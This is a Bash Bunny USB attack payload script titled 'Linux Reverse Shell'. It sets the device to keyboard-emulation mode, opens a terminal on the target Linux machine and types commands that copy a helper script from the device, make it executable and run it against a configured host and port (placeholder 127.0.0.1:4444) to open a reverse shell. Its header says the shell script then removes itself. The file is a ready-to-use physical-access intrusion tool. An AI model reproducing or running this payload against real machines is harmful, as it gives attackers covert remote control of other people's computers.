2017-04-07 15:57:19 +10:00

50 lines
1.0 KiB
Bash

#!/bin/bash
#
# Title: Linux Reverse Shell
# Author: tuzzmaniandevil
# Version: 1.0
#
# Runs a script in the background that creates a reverse shell connection to the configured address and then removes itself.
#
# Red ...............Setup
# Blue Blinking......Executing
# Green..............Finished
# Config options
RHOST=127.0.0.1
RPORT=4444
# Start Setup
LED R
# Set Attack Mode
ATTACKMODE HID STORAGE
LANGUAGE='us'
# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
source bunny_helpers.sh
# Wait for Storage to mount
sleep 5
# Open a terminal
Q CTRL-ALT t
# Wait for terminal to open
sleep 1
LED B 250
# Copy bash script
Q STRING "cp \$(readlink -f /dev/disk/by-label/BashBunny | while read dev;do mount | grep \"\$dev\b\" | awk '{print \$3}';done)/payloads/"
Q STRING $SWITCH_POSITION
Q STRING "/a.sh ~/a.sh && chmod +x ~/a.sh && ~/a.sh $RHOST $RPORT"
Q ENTER
# Quit the terminal
LED R G 250
Q STRING exit
Q ENTER
LED G